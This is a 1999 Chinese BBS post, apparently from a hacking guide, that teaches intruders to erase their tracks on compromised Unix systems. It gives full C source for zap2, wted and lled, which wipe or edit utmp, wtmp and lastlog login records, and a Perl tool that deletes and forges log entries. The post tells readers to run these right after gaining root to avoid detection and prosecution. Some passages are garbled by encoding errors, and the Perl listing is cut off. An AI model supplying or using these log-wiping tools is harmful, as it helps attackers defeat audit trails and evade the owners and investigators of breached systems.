发信人: amis()
整理人: williamlong(1999-05-31 13:14:30), 站内信件
|
---------------------------------------------------------------------- ----------
目录:
Zap2 程序
其它脚本程序
隐藏自己的关键是你要不断的学习了解新的系统知识。如果你做了很苯的事情, 比如有一次忘了清除你的utmp、wtmp日志或传送记录等等,你可能就会丧失再次 访问这个系统的机会。你自己应该制定一个计划去学习每个操作系统!
尽可能的去熟悉系统,如果你同时学习几个系统,你应该做好笔记。记住你应该 养成一个习惯,你是否养成清除你登录、传送文档的记录的习惯?千万不要忘记 清除记录否则你可能会丧失对系统的访问权并面对一系列的指控。
---------------------------------------------------------------------- ----------
Zap2 (清除 wtmp/lastlog/utmp记录)
网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2
在你获得root的访问权后立即运行z2这个程序。这个程序执行的非常快。
你可以使用finger @host.xxx来查看当前有说锹剂耍邢腹鄄煲幌聄oot或admin 的idle time(空闲时间)来猜测他们是否离开主机了。
Login, ?úμ???oóá¢?′ê?è?wà′2é?′idle timeoí???úóD?μ???á ??£ μ???ó?"w"2é?′?μí3oí??ê?è?ê1×??o3é?arootμ??üá?ê?2? ?üí?ê±??DDμ??£ò?μ???μ?μ?á?rootμ?·??ê訣?á¢?′ê?è? ./z2 ??μ????μí3?ùó?μ?ó??§???£
现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾 tmp记录了。如果你要使用 ftp或其它的一些命令你可能就会用到我在本章中提供 的另外两个程序 wted 和 lled。
我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修 改z2.c,使其包含这些文件的正确路径。
下面是在文件头部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系统中应该是:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"
但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目 录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登 录之后运行z2,你就已比较安全了。
这里是c程序:
z2.c
--------------------------- cut here
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
--------------------------- cut here
---------------------------------------------------------------------- ----------
其它脚本程序
我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个 文件(记住,象第一章所说的,不要ftp或telent出这个入侵的主机)。好了,你f tp进入系统抓取几个文件,或登录到系统的其它帐户中,那现在你就要用到wted 程序了。 wted程序允许你编紈tmp日志来清除你ftp留下的记录。你也可能要用到 lled (编糽astlog日志).
你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help 帮助
-f Use FILE instead of default 所使用的非默认文件
-a Show all entries found 显示所有的记录
-u Show all entries for USER 显示USER的所有记录
-b Show NULL entries 显示空记录
-e Erase USER completely 完全清除某用户的记录
-c Erase all connections containing HOST 清除从某主机来的所有记录
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ?? ???
如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith
这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你 登录的记录后,记着chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并 覆盖岳吹奈募O笳庋?
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
下面是wted程序:
重要:记着将char里面文件改成正确的路径。
wted.c
---------------------- cut here
#include <stdio.h>
#include <utmp.h>
#include <time.h>
#include <fcntl.h>
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1],0); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here
你可能还需要清除/vat/adm/lastlog日志。
这要用到lled.c程序。编译这个文件并命名为lled.
你运行lled程序将会出现下面的菜单:
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help °??ú
-f Use FILE instead of default ê1ó????¨μ????t′úì?è±ê?μ?
-a Show all entries found ??ê?è?2?????
-u Show all entries for USER ??ê????¨ó??§μ?è?2?????
-b Show NULL entries ??ê???????
-e Erase USER completely è?2?é?3y???¨ó??§μ?????
-c Erase all connections containing HOST é?3y°üo????¨?÷?úμ?è?2 ?????
-z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ?? ???
你可以先用-u来看一下,很多时候你的用户名并没有记录下来,但会记录下你的 主机,一般你可以这样使用:(假设我进入系统时使用的主机名为machine.edit. com)
lled -e username -c machine.edit
如果你要查看你的主机是否记录在lastlog日志的结尾,你应输入:lled -a
使用chmod将 lastlog.tmp文件属性改为 644并象你使用上面的wted程序一样将其 拷贝到日志文件的目录中并覆盖岳吹奈募?
重要:将lastlog路径设置为你入侵的主机中的正确路径。
下面是lled.c:
-------------------------- cut here
#include <stdio.h>
#include <time.h>
#include <lastlog.h>
#include <fcntl.h>
char *file="/var/adm/lastlog";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1]); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
{
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (host)
if (strstr(utmp.ll_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
if (name) {
if (strcmp(utmp.ll_line,name)) {cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (utmp.ll_time) {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- cut h ere
下面是个编辑tmp, wtmp和检查进程的很好的perl脚本程序。这个程序还允许你在 wtmp日志中加入一行。如果你想搞,你可以加入clinton(克林顿).whitehouse(白 宫).gov logging into port ttyp3 并显示他在系统中停留了几个小时!
使用检查功能,你可以知道是否有什么人登录到系统中而在utmp日志中又没有记 录。系统管理员有时登录后喜欢把自己隐藏起来,这个程序可以看到他们是否在 线。你必须有root的权限来执行这个程序,这个程序还需要5.003以上的版本才能 运行。启动这个脚本程序后输入help。
下面是一些基本命令:
starts by loading wtmp
delete user username
delete host hostanme
write
read wtmp
delete user username
delete host hostname
write
使用help来查看其它的命令......这是最好的wtmp,wtmp编计鳎?
说声谢谢吧 ;)
-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef"; # TTYports standard on most linu x systems.
# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();
# Display banner.
print "\nutmp Manager v0.8\n\n";
# Access check.
die("utmpman :: You must be root to run this application!\n") unless ( $> == 0);
# Read in valid shells.
if (defined($shells_location)) {
open(SHELLFILE, "<$shells_location");
@shells = <SHELLFILE>;
close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
print push(@shells) . " valid shells in $shells_location: @shells\n" i f (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while (<STDIN>) {
process_cmd(split);
print("\nutmpman: $active_file> ");
}
sub process_cmd {
return if (!defined(@_));
my(@line) = map { lc($_) } @_;
$_ = shift(@line);
SWITCH: {
/^check$/ && do {
check_func(@line);
last SWITCH;
};
/^delete$/ && do {
del_func(@line);
last SWITCH;
};
/^help$/ && do {
help_func();
last SWITCH;
};
/^insert$/ && do {
ins_func(@line);
last SWITCH;
};
/^list$/ && do {
list_func(@line);
last SWITCH;
};
/^read$/ && do {
read_func(@line);
last SWITCH;
};
/^write$/ && do {
write_func(@line);
last SWITCH;
};
/^quit|exit$/ && exit(0);
# DEFAULT.
print ("Invalid command.\n");
}
}
# HELP
sub help_func {
print << "EOM";
utmpManager Help
----------------
Note: - <n> is an argument.
- [id=] is a token which expects a value as part of command
(ie, insert id=p5 user=root 11/23/96). See the insert command.
- A line is the full name to the tty port, ie ttyp0.
- An id is the *unique* representation of the port
(without the tty, etc), ie "p0" (for ttyp0).
check
- Perform user consistancy check. Use this to make sure that the data in
utmp agrees with who is actually on the machine. This is useful in
determining if a user is online with hidden ports, running nohup'd
processes, or running iScreen.
delete <x>-<y>
- Delete entries #x to #y.
delete host <host>
- Delete *all* entries which match the substring <host>.
delete line|id <line|id>
- Delete entry containing <line> or <id>.
insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
- Insert an entry into utmp/wtmp files specifying any combination
of id/line, type, username, host, connection time, and logoff time.
(LogoffTime only valid for WTMP files.)
list host <host>
- List all entries matching the substring <host>.
list line|id <line|id>
- List all entries matching <line> or <id>.
read utmp|wtmp|<filename>
- Read entries from either default wtmp, default utmp, or an arbitrary
filename. Note: arbitrary filenames MUST start with either "utmp" or
"wtmp" to be used with this editor. Rename files *outside* of this
editor if necessary. If read is executed without any arguments, it
rereads the last given filename, which is displayed on the prompt.
write {filename}
- Write entries to file {filename}. If write is executed without any
arguments, then entries will be written to the last given filename,
which is displayed on the prompt.
EOM
}
# DELETE
sub del_func {
my(@params) = @_;
if (!push(@_)) {
print("delete :: Not enough parameters. See \"help\" for syntax.\n");
return undef;
} elsif ($params[0] =~ /host|user|id|line/) {
del_by_data(@_);
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
del_by_range($params[0]);
} elsif ($params[0] =~ m/^(\d+)$/) {
del_by_range("$1-$1");
}
# Renumber list after delete operation.
resync();
}
sub del_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi, $count)=($1, $2, 0);
$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
delete($entries{$_});
$count++;
}
}
print "$count entries deleted.\n";
}
sub del_by_data {
my($op, $data) = @_;
my($count) = 0;
if ((length($data) < 5) && ($op eq "host")) {
print "Must specify at least 5 characters for delete hostmask.\n";
return undef;
} elsif (((length($data) > 4) && ($op eq "id"))||
((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specif ied.\n";
return undef;
}
# Note: If we are deleting by user, then user must match, *exactly*!
$data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
foreach (sort( { $a <=> $b } keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
delete($entries{$_});
++$count;
}
}
if (!$count) {
print "No $op entries matching $data.\n";
} else {
print "$count entries deleted.\n";
}
}
# INSERT
# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=<username>
# host=<hostname>
# id=<id> | line=<line>
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
sub ins_func {
my(%cmdopt)={};
my($datetime1, $datetime2, $gmdate, $gmdate2);
# Get random pid out of the way.
$cmdopt{"pid"} = int(rand(32656)+100);
$cmdopt{"addr"} = pack("a4", "");
# Get command options.
foreach (@_) {
if (/=/) {
local($key, $value)=split(/=/);
$cmdopt{$key} = $value;
} else {
if (!defined($datetime1)) {
$datetime1 = $_;
next;
}
if (!defined($datetime2)) {
$datetime2 = $_ ;
next;
}
print "insert :: Invalid options specified. Please see \"help\" for sy ntax.\n";
return undef;
}
}
# Check for an illegal pair or illegal option.
foreach (keys(%cmdopt)) {
if (!(/^host|id|line|type|user|addr$/)) {
print "insert :: Invalid options specified. Please see \"help\" for sy ntax.\n";
return undef;
}
if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {
print "insert :: LAST option only valid for utmp files.\n";
return undef;
}
}
# Get date in seconds since 1970.
$gmdate = SecsSince1970($datetime1);
# Get ending date in seconds since 1970.
$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
print "insert :: Invalid date specified.\n";
return undef;
}
if (defined($gmdate2)) {
if ($gmdate2 < $gmdate) {
print "insert :: First date/time must be *later* than second date/time .\n";
return undef;
}
}
if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both .\n";
return undef;
}
my($op);
if (!defined($cmdopt{"id"})) {
$cmdopt{"id"} = $cmdopt{"line"};
$op = "line";
if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
print "insert :: Invalid line specified.\n";
return undef;
}
} else {
$cmdopt{"line"} = $ttybase . $cmdopt{"id"};
$op = "id";
}
if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
print "insert :: Neither LINE nor ID value found. See \"help\" for syn tax.\n";
return undef;
}
my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
my($epos1, $npos1, $epos2, $npos2) = ();
my($oldpos, $count)=("", 0);
foreach (sort( { $a <=> $b } keys(%entries))) {
if ($active_file =~ m!/*utmp[^/]*$!i) {
# Handle utmp insertion by line insertion.
if (%{$entries{$_}}->{$op} eq $searchdata) {
printf ("insert :: $op $searchdata already exists at position $_\n");
# This needs to check every option in %cmdopt for defined or null.
$count = 0;
foreach (qw(user host time)) {
if (defined($cmdopt{$_})) {
$count++ if ($cmdopt{$_} ne "");
}
}
if (!$count) {
printf ("insert :: No other data specified. Entry unchanged.\n");
return undef;
}
last;
}
} else {
# Handle wtmp insertion by time position. (Messy)
$epos1 = $oldpos if (defined($npos1) && !defined($epos1));
$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
last if (!defined($gmdate2) && defined($epos1));
$epos2 = $oldpos if (defined($npos2));
$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
last if (defined($epos2));
}
$oldpos = $_;
}
# Set any unspecified defaults.
$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});
$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
$cmdopt{"type"} = 7 if !defined($cmdopt{"type"});
# Determine end of list insertion positions. (IE, dates entered are af ter
# dates in wtmp file or line/id not found in utmp file.
$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
if (defined($datetime2)) {
$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
++$epos2 if (defined($gmtime2) && !defined($npos1));
}
# Parse insert data and insert entry.
$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
if (defined($npos2) && defined($gmdate2));
# Insert first entry.
$cmdopt{"time"} = $gmdate;
@{$entries{$epos1}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
if (defined($epos2)) {
$cmdopt{"user"} = pack("a8", "");
$cmdopt{"host"} = pack("a16","");
$cmdopt{"id"} = pack("a4", "");
$cmdopt{"time"} = $gmdate2;
@{$entries{$epos2}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
}
resync();
}
# LIST
sub list_func {
my(@params) = @_;
if (!push(@_) || ($params[0] eq "all")) {
list_by_range("-");
return 0;
} elsif ($params[0] =~ /^host|user|id|line$/) {
list_by_data(@_);
return 0;
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
list_by_range($params[0]);
return 0;
} elsif ($params[0] =~ m/^(\d+)$/) {
list_by_range("$1-$1");
return 0;
}
print ("list :: Error in parameters. See \"help\" for syntax.\n");
return undef;
}
sub list_by_data {
my($op, $data) = @_;
my($count) = 0;
foreach (sort( {$a <=> $b} keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
list_entry($_);
++$count;
}
}
print "No $op entries matching $data.\n" if (!$count);
}
sub list_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi)=($1, $2);
$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
list_entry($_);
}
}
}
sub list_entry {
printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
printf(" %s/%s", @{$entries{$_}}{qw(id line)});
printf(": %s ", %{$entries{$_}}->{"user"})
if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
printf("from %s", %{$entries{$_}}->{"host"})
if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
}
print ("\n");
printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})
if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8 ","")));
}
# <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
# <Silmaril> now *that's* cool :-)
# <Silmaril> should be like this: @{$v}{qw(time id line user host)}
# <Silmaril> I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#
# READ
sub read_func {
my($arg)=shift;
$arg = $utmp_location if ($arg eq "utmp");
$arg = $wtmp_location if ($arg eq "wtmp");
$arg = $active_file if (!defined($arg));
if ($arg !~ m!/*[uw]tmp[^/]*$!) {
print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
return undef;
}
readfile($arg);
}
# WRITE
sub write_func {
my($file)=shift;
my($count)=0;
$file = $active_file if (!defined($file));
if ($file !~ m!/*[uw]tmp[^/]*$!) {
print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file o utside this program.\n");
return undef;
}
if (!open(OUTFILE, ">$file")) {
print ("write :: Can't open $file for output.\n");
return undef;
}
binmode(OUTFILE);
foreach (sort( { $a <=> $b } keys(%entries))) {
printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",
@{$entries{$_}}{qw(type pid line id time user host addr)}));
$count++;
}
print ("$active_file: " . scalar(keys(%entries)) . " entries written.\ n");
close(OUTFILE);
}
# CHECK
sub check_func {
if (push(@_)) {
print "check :: Invalid options specified. Please see \"help\"\n";
return undef;
}
if ($active_file !~ m!/*utmp[^/]*$!) {
print "check :: Command can only be run on utmp files.\n";
return undef;
}
# Build struct of ports containing port name, device num and owner.
# Note: Test run in grepstr may *not* be portable for all Unix
# types. Be forewarned! This was designed for Linux.
# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyport s])$/
# should return the same as what you expect in "struct utmp->ut_id".
my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
my(%ports) = {};
my($user, $rdev) = ();
opendir(DEVDIR, "/dev");
my(@devfiles) = readdir(DEVDIR);
@devfiles = grep(/$grepstr/, @devfiles);
close(DEVDIR);
foreach (@devfiles) {
/^$ttybase([$ttyrange][$ttyports])$/;
if (!defined($1)) {
print "check :: Warning! Could not extract port ID from $_.\n";
} else {
($user, $rdev) = (stat("/dev/$_"))[4, 6];
$user = getpwuid($user);
$ports{$1} = newport($_, $rdev, $user);
}
}
# Check ownership of /dev ports.
my(@logdev)=();
foreach (sort(keys(%ports))) {
push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
}
@logdev = sort(@logdev);
# Check utmp (against ports detected as logged in);
my(@logutmp)=();
foreach (sort( { $a <=> $b } keys(%entries))) {
if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"h ost"}) &&
defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) {
push(@logutmp, %{$entries{$_}}->{"id"})
if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
(%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
(%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
(%{$entries{$_}}->{"pid"} > 0))));
}
}
@logutmp = sort(@logutmp);
# Check PIDs (find processes with active port ids)
opendir(PIDDIR, "/proc");
my(%processes) = {};
my(@portprocesses) = ();
foreach (grep(/\d+/, readdir(PIDDIR))) {
local($procdata, $cmdline);
open(PROCFILE, "</proc/$_/stat");
$procdata = <PROCFILE>;
close(PROCFILE);
if (-e "/proc/$_/stat") {
local($cmdline, $devnum, $portid);
($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
# Remove surrouding () from command name.
$cmd =~ s/[\(\)]//g;
$portid = dev2id(\%ports, $devnum);
if (defined($portid)) {
push(@portprocesses, $portid)
if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
}
}
}
close(PIDDIR);
# A port is *not* logged in if there is no dev entry for port, no utmp entry
# and no active processes.
my(@validshellports) = ();
foreach (sort( { $a <=> $b} keys(%processes))) {
push(@validshellports, %{$processes{$_}}->{"port"})
if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
}
# Remove ports with valid shells from list of ports with active proces ses.
my(@noshellports) =
sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
@validshellports = sort(@validshellports);
print "Ports with active /dev files: @logdev\n"
if (defined(@logdev));
print "Ports with utmp entries: @logutmp\n"
if (defined(@logutmp));
print "Ports with valid shells: @validshellports\n"
